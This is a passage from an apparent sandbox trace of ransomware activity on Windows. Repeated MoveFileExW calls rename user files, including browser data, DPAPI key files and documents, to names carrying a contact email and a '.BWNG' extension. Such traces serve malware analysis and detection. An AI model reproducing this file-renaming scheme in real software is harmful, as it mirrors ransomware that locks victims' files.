halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7396c420a8e1bc1da97f1af0d10bad21"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].4fjGNX56-4DAGLmBv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].4fjgnx56-4daglmbv.bwng"), dwFlags=0x1) returned 1 [0122.628] GetTickCount () returned 0x11663d2 [0122.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26458034921) returned 1 [0122.628] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].IDXoVxGY-J17ZcWZK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].idxovxgy-j17zcwzk.bwng"), dwFlags=0x1) returned 1 [0122.630] GetTickCount () returned 0x11663d2 [0122.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26458181764) returned 1 [0122.630] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].HgCq48YG-nOAoBVV4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].hgcq48yg-noaobvv4.bwng"), dwFlags=0x1) returned 1 [0122.631] GetTickCount () returned 0x11663d2 [0122.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26458328819) returned 1 [0122.631] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].VKmnwsNi-AzmhY1dL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].vkmnwsni-azmhy1dl.bwng"), dwFlags=0x1) returned 1 [0122.634] GetTickCount () returned 0x11663e2 [0122.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26458652148) returned 1 [0122.635] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\[billwong73@yahoo.com].eJ4tF1Yw-R9wF4YIL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\[billwong73@yahoo.com].ej4tf1yw-r9wf4yil.bwng"), dwFlags=0x1) returned 1 [0122.636] GetTickCount () returned 0x11663e2 [0122.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26458851948) returned 1 [0122.637] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8q 7s Q2gVr7Xk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8q 7s q2gvr7xk.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].YGWDJFRv-Q9mlz2FH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].ygwdjfrv-q9mlz2fh.bwng"), dwFlags=0x1) returned 1 [0122.638] GetTickCount () returned 0x11663e2 [0122.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26459072884) returned 1 [0122.639] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\INvYw67ARydfe968qgYZ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\invyw67arydfe968qgyz.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].a9J696BA-5SK4swnW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].a9j696ba-5sk4swnw.bwng"), dwFlags=0x1) returned 1 [0122.640] GetTickCount () returned 0x11663e2 [0122.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26459229149) returned 1 [0122.640] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\[billwong73@yahoo.com].J2L3NCKf-Cfif1tCF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\[billwong73@yahoo.com].j2l3nckf-cfif1tcf.bwng"), dwFlags=0x1) returned 1 [0122.642] GetTickCount () returned 0x11663e2 [0122.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26459406716) returned 1 [0122.642] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\[billwong73@yahoo.com].1dSKOS7a-Ani4ZTFJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\[billwong73@yahoo.com].1dskos7a-ani4ztfj.bwng"), dwFlags=0x1) returned 1 [0122.644] GetTickCount () returned 0x11663e2 [0122.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26459606370) returned 1 [0122.644] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\prefs.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\prefs.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].6QVJAkQT-WiALLUEr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].6qvjakqt-wialluer.bwng"), dwFlags=0x1) returned 1 [0122.925] GetTickCount () returned 0x11664fb [0122.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26487751548) returned 1 [0122.926] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\U-BdP.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\u-bdp.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].7iFoBL2Y-9AuZFsZ2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].7ifobl2y-9auzfsz2.bwng"), dwFlags=0x1) returned 1 [0122.927] GetTickCount () returned 0x11664fb [0122.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26487942361) returned 1 [0122.927] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\[billwong73@yahoo.com].2XLN4i7V-P760S6w5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\[billwong73@yahoo.com].2xln4i7v-p760s6w5.bwng"), dwFlags=0x1) returned 1 [0122.929] GetTickCount () returned 0x116650a [0122.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26488111216) returned 1 [0122.929] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\C04ckpKvkylkL TPr.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c04ckpkvkylkl tpr.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].Ur7WQOdp-q3NcH1Hi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].ur7wqodp-q3nch1hi.bwng"), dwFlags=0x1) returned 1 [0122.931] GetTickCount () returned 0x116650a [0122.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26488294123) returned 1 [0122.931] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].ATR5uswS-FlD2gflt.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].atr5usws-fld2gflt.bwng"), dwFlags=0x1) returned 1 [0122.932] GetTickCount () returned 0x116650a [0122.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26488454356) returned 1 [0122.933] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\[billwong73@yahoo.com].hR57skYL-5NOj9TWR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\[billwong73@yahoo.com].hr57skyl-5noj9twr.bwng"), dwFlags=0x1) returned 1 [0122.934] GetTickCount () returned 0x116650a [0122.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26488620111) returned 1 [0122.934] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\[billwong73@yahoo.com].DqGltYMM-c9IUyBhn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\[billwong73@yahoo.com].dqgltymm-c9iuybhn.bwng"), dwFlags=0x1) returned 1 [0122.935] GetTickCount () returned 0x116650a [0122.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26488758167) returned 1 [0122.936] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\[billwong73@yahoo.com].gkQszxn5-dYyqI3Bs.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\[billwong73@yahoo.com].gkqszxn5-dyyqi3bs.bwng"), dwFlags=0x1) returned 1 [0122.937] GetTickCount () returned 0x116650a [0122.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26488914759) returned 1 [0122.937] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\[billwong73@yahoo.com].MZkEFcMz-go8KXjgt.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\[billwong73@yahoo.com].mzkefcmz-go8kxjgt.bwng"), dwFlags=0x1) returned 1 [0122.940] GetTickCount () returned 0x116650a [0122.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26489197135) returned 1 [0122.940] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\[billwong73@yahoo.com].3Jcbpuii-TZxWjfSM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\[billwong73@yahoo.com].3jcbpuii-tzxwjfsm.bwng"), dwFlags=0x1) returned 1 [0122.941] GetTickCount () returned 0x116650a [0122.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26489353440) returned 1 [0122.942] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\[billwong73@yahoo.com].cujx9t5H-doweo1ef.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\[billwong73@yahoo.com].cujx9t5h-doweo1ef.bwng"), dwFlags=0x1) returned 1 [0122.943] GetTickCount () returned 0x116650a [0122.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26489537231) returned 1 [0122.943] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\[billwong73@yahoo.com].HQyboMHv-BfBZPVn0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\[billwong73@yahoo.com].hqybomhv-bfbzpvn0.bwng"), dwFlags=0x1) returned 1 [0122.945] GetTickCount () returned 0x116651a [0122.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26489685946) returned 1 [0122.945] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\[billwong73@yahoo.com].fnYHHaCM-7q5uWwVR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\[billwong73@yahoo.com].fnyhhacm-7q5uwwvr.bwng"), dwFlags=0x1) returned 1 [0122.946] GetTickCount () returned 0x116651a [0122.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26489846414) returned 1 [0122.946] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\[billwong73@yahoo.com].eDaJpMar-KqAe31VG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\[billwong73@yahoo.com].edajpmar-kqae31vg.bwng"), dwFlags=0x1) returned 1 [0122.948] GetTickCount () returned 0x116651a [0122.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26489979109) returned 1 [0122.948] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\[billwong73@yahoo.com].dkUlGmem-XSWm9DcL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\[billwong73@yahoo.com].dkulgmem-xswm9dcl.bwng"), dwFlags=0x1) returned 1 [0122.949] GetTickCount () returned 0x116651a [0122.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26490116583) returned 1 [0122.949] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\[billwong73@yahoo.com].7h3vEkCW-rpWgxSNb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\[billwong73@yahoo.com].7h3vekcw-rpwgxsnb.bwng"), dwFlags=0x1) returned 1 [0122.950] GetTickCount () returned 0x116651a [0122.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26490272142) returned 1 [0122.952] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\[billwong73@yahoo.com].PGZ9x8hx-YrKWVaBA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\[billwong73@yahoo.com].pgz9x8hx-yrkwvaba.bwng"), dwFlags=0x1) returned 1 [0122.954] GetTickCount () returned 0x116651a [0122.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26490591464) returned 1 [0122.954] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\[billwong73@yahoo.com].WqWTp0tn-CrMdiCfG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\[billwong73@yahoo.com].wqwtp0tn-crmdicfg.bwng"), dwFlags=0x1) returned 1 [0122.955] GetTickCount () returned 0x116651a [0122.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26490735969) returned 1 [0122.955] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\[billwong73@yahoo.com].2NE2N3q5-da8j7rub.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\[billwong73@yahoo.com].2ne2n3q5-da8j7rub.bwng"), dwFlags=0x1) returned 1 [0122.956] GetTickCount () returned 0x116651a [0122.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26490866455) returned 1 [0122.957] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 